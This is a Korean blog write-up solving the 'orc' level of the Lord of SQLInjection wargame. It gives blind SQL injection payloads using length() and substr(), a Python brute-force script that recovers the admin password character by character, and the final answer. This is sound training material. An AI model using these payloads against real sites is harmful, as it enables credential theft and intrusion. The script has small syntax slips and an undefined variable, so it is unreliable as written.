본문 바로가기

Write Up/los

los orc[4번]

문제다.

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

이번문제의 문제풀이 조건은 admin의 pw를 맞춰야 한다.

 

그 말은 Blind SQL Ingection을 해야 한다.

 

bsqli의 순서는

1. pw의 길이를 구한다.

2. pw의 각 자리를 파싱하여 brute force를 한다.

 

우선 pw의 길이를 구하는 쿼리문은

?pw=' or length(pw)=~~~%23 이다.

~~~에는 숫자를 brute force 해주면 된다.

 

length(pw)는 pw의 길이를 가져오는 함수다.

 

그렇게 손 브루트 포싱을 해서 pw의 길이가 8인 것을 알아냈다.

(python requests 모듈을 사용해서 프로그램으로 제작해도 된다.)

 

그 다음에는 substr()함수를 이용해서 pw의 각 자릿수를 파싱해와야 한다.

substr(문자열, 시작점, 길이)로 사용한다.

 

이를 이용해서 brute force를 한다.

 

이건 경우의 수가 너무 많아서 python으로 프로그램을 만들었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests
 
cookies={'PHPSESSID' : 'h3jgaqh3bt8brgd4pcifuc3plj'# put your cookies
pw_len=8
arr = string.printable
arr = arr[:-38]
result = ''
 
for i in range(1, pw_len+1):
    for a in arr:
        param = "?pw=' or substr(pw, " + str(i) + ', 1)="' + str(a) + '"%23"'
        new_url = url + param
        req = requests.get(new_url,cookies=cookies)
        if "Hello admin" in req.text:
            print(str(i) + "st char is " + str(a))
            result += a
            break
        elsepass
print('='*20)
print("result = " + result)
print('='*20)

프로그램을 작동시키면 아래의 사진처럼 결과가 출력된다.

이제 pw를 입력해주면 풀린다.

?pw=095a9852

 

'Write Up > los' 카테고리의 다른 글

los darkelf[6번]  (0) 2020.01.04
los wolfman[5번]  (0) 2020.01.04
los goblin[3번]  (0) 2019.12.27
los cobolt[2번]  (0) 2019.12.27
los gremlin[1번]  (0) 2019.12.27